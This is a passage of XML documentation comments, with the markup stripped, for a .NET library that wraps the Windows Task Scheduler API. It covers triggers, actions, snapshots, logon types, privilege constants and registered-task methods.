successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the 